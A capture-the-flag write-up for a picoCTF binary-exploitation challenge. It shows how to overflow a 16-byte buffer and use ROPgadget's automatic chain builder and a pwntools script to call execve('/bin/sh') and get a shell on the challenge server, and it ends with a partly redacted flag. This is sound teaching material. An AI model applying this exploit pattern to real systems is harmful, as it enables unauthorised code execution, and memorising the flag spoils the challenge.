Description
No win() function this time. The binary is a small, statically-linked 32-bit ELF with a 16-byte buffer you can overflow. Because there is no helper function that prints the flag, you build a Return-Oriented Programming (ROP) chain from gadgets already present in the binary to call execve("/bin/sh", NULL, NULL) and spawn a shell.
ROP chains work by chaining small code snippets ('gadgets') ending in ret, each setting up registers, ultimately executing a syscall. Because the binary is statically linked, every libc gadget you need is already inside it, so ROPgadget can assemble the whole execve chain automatically.
Setup
Download the binary. Confirm it is a statically-linked 32-bit ELF and check mitigations with checksec.
Install ROPgadget: pip install ropgadget.
Let ROPgadget build the execve chain, then prepend the overflow padding.
wget https://artifacts.picoctf.net/c/327/vuln && chmod +x vulnfile vuln # ELF 32-bit LSB executable, statically linkedchecksec --file=vulnROPgadget --binary vuln --ropchainSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
For the underlying mechanics of stitching gadgets together when there's no libc to lean on, see the ROP Chain Without libc guide. For pwntools idioms used in the script below (ELF, p32, remote), see Pwntools for CTF.
Step 1
Let ROPgadget build the execve chainObservationI noticed the binary is statically linked with NX enabled and has no win() helper, which meant shellcode injection was off the table but every libc gadget was already baked into the ELF at fixed addresses, suggesting ROPgadget's --ropchain flag could automatically assemble a complete execve("/bin/sh") chain without any info-leak.Because vuln is statically linked, ROPgadget can find a writable data address for the "/bin/sh" string plus all the pop/mov gadgets to set up the registers, and it will print a complete chain for you. Run it with --ropchain and it builds an execve("/bin/sh", NULL, NULL) chain automatically.bashROPgadget --binary vuln --ropchainbash# Inspect what it built: it loads a writable address, writes '/bin/sh' there,bash# zeroes ecx/edx, puts 11 (sys_execve) in eax, then int 0x80.bashROPgadget --binary vuln | grep -E 'int 0x80|pop eax|pop ebx|pop ecx|pop edx'The generated chain ends in the 32-bit Linux
execvesyscall: the kernel readseax = 11(sys_execve),ebxpointing at the string"/bin/sh", andecx = edx = 0, then runsint 0x80. ROPgadget plants the/bin/shstring into a writable section itself, so no info-leak is required.What didn't work first
Tried: Running ROPgadget without --ropchain and manually assembling a gadget list for execve.
Without --ropchain, ROPgadget just lists gadgets but does not solve the chain - you still need to find a writable address, write '/bin/sh' byte-by-byte via mov gadgets, zero ecx and edx, set eax to 11, and align everything. The --ropchain flag automates all of this and emits working Python code directly.
Tried: Using the same ROPgadget --ropchain output against a dynamically-linked binary.
On a dynamically-linked binary, libc gadgets are at ASLR-randomized addresses at runtime, so the static addresses ROPgadget finds are wrong every run. This binary is statically linked, meaning all gadgets are at fixed addresses baked into the ELF - that is why --ropchain works here without any info-leak.
Learn more
A ROP gadget is a short sequence of instructions ending with a
ret(return). By overwriting the stack with a sequence of gadget addresses (each followed by its arguments), you chain the gadgets:retpops the next address off the stack into EIP, executing the next gadget.For a 32-bit Linux
execve("/bin/sh", NULL, NULL)viaint 0x80you need:eax = 11(syscall number for execve)ebx= pointer to the string"/bin/sh"ecx = 0(argv = NULL)edx = 0(envp = NULL)int 0x80to trigger the syscall
NX (No-eXecute) prevents injecting and running shellcode, but it cannot stop ROP because ROP reuses existing executable code. A statically-linked binary is the easiest possible ROP target: every libc gadget is already mapped, so ROPgadget's
--ropchaincan fully automate the build.Step 2
Derive the overflow offset to EIPObservationI noticed the vulnerable buffer is only 16 bytes but the saved return address sits beyond it (buffer plus saved EBP on 32-bit), which meant the exact offset needed to be measured rather than guessed, and sending a De Bruijn cyclic pattern then reading the crashed EIP value would give the precise distance mechanically.Find how far past the buffer your input reaches the saved return address. Send a cyclic pattern, crash the binary, and feed the faulting EIP back into cyclic_find. The offset is small (the buffer is 16 bytes plus saved EBP), so expect a value in the high-20s; verify it on your copy rather than assuming.bashcyclic 64 > /tmp/patpythonpython3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()"bash# read the crashed EIP from the core dump or gdb, then:pythonpython3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))" # prints OFFSETSend a cyclic pattern so you do not have to guess. The bytes that land in
EIPidentify a unique slice of the De Bruijn sequence, andcyclic_findreturns the exact distance:$ python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(64)); p.wait()" $ gdb -q ./vuln core ... eip 0x6161616c ... $ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))" <OFFSET>Use that
<OFFSET>as the padding length before the ROP chain.What didn't work first
Tried: Guessing the offset as exactly 16 (the buffer size) and skipping the cyclic pattern step.
The offset is buffer size plus the saved EBP (4 bytes on 32-bit), plus any alignment padding the compiler adds - so it is larger than 16. Guessing 16 will overwrite EBP but leave the return address intact, causing a clean crash instead of EIP control. The cyclic pattern removes the guesswork entirely.
Tried: Using gdb's 'info registers' on a non-crashing run instead of sending a pattern and inspecting the core dump.
Without sending input that overflows the buffer, the return address is never corrupted, so EIP shows the normal return target. You need to send the cyclic(64) payload, let the binary crash, then inspect the core dump (or run under gdb with 'run < /tmp/pat') to see what value landed in EIP at the moment of the fault.
Learn more
The vulnerable read is an unbounded
gets()-style call into a 16-byte buffer. The padding to reach the saved return address is the buffer size plus the saved frame pointer (and any alignment), which is why the offset is a little larger than 16.cyclic / cyclic_find generates a De Bruijn sequence so every 4-byte window appears exactly once. That makes the crash self-identifying: the value sitting in EIP maps to one and only one offset.
Step 3
Prepend the padding and fire the chainObservationI noticed ROPgadget had already output a complete, self-contained Python execve chain as p32() values, and the cyclic_find step had given the exact OFFSET to the saved return address, so the only remaining action was to prepend that many 'A' bytes and send the combined payload to the remote service.Paste the chain ROPgadget generated (it defines aphelper and builds it into a variable), prepend OFFSET bytes of padding, and send it. The execve chain spawns /bin/sh; then read the flag with ls and cat.pythonpython3 -c " from pwn import * OFFSET = <OFFSET> # from cyclic_find above # --- paste the chain ROPgadget --ropchain printed here --- # It builds a byte string of p32(...) gadget addresses that ends in execve('/bin/sh'). rop_chain = b'' # <-- replace with ROPgadget's generated chain bytes payload = b'A' * OFFSET + rop_chain p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendline(payload) p.interactive() # then: ls ; cat flag.txt "Expected output
picoCTF{ROP_1t_d0nt_st0p_...}What didn't work first
Tried: Pasting the ROPgadget chain bytes directly without prepending the OFFSET padding bytes.
Without the padding, your payload starts overwriting the buffer from the very first byte, so the chain addresses land somewhere inside the buffer rather than at the saved return address. The binary returns to whatever happened to be in EIP (original return target) and the chain never executes. The padding bridges from the start of the buffer to the exact location of the saved return address on the stack.
Tried: Using p.sendline(payload) against localhost with process('./vuln') to test before targeting the remote, but seeing the shell close immediately.
When running locally via process('./vuln'), the spawned /bin/sh has its stdin still connected to the pwntools pipe. After p.sendline() the pipe end-of-file closes, which causes sh to exit. Switching to p.interactive() before sending input, or using pwntools' context.newline handling, keeps the pipe open so you can type 'ls ; cat flag.txt' interactively.
Learn more
Because the chain calls
execve("/bin/sh", NULL, NULL), you drop into an interactive shell instead of printing a single buffer. From therelsandcat flag.txtread the flag directly off the server (often as root on these picoCTF instances).If you prefer building the chain by hand, pwntools can do it too:
rop = ROP(elf); rop.execve(b'/bin/sh', 0, 0)thenrop.chain(). For a statically-linked binary both approaches work;--ropchainis just the fastest path because it also handles writing the/bin/shstring into memory.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{ROP_1t_d0nt_st0p_...}
Statically-linked 32-bit binary, no win(). Build a ROP chain for execve("/bin/sh", NULL, NULL) via int 0x80 (eax=11, ebx -> "/bin/sh", ecx=edx=0). ROPgadget --ropchain assembles it automatically; prepend the overflow padding and spawn a shell to read the flag.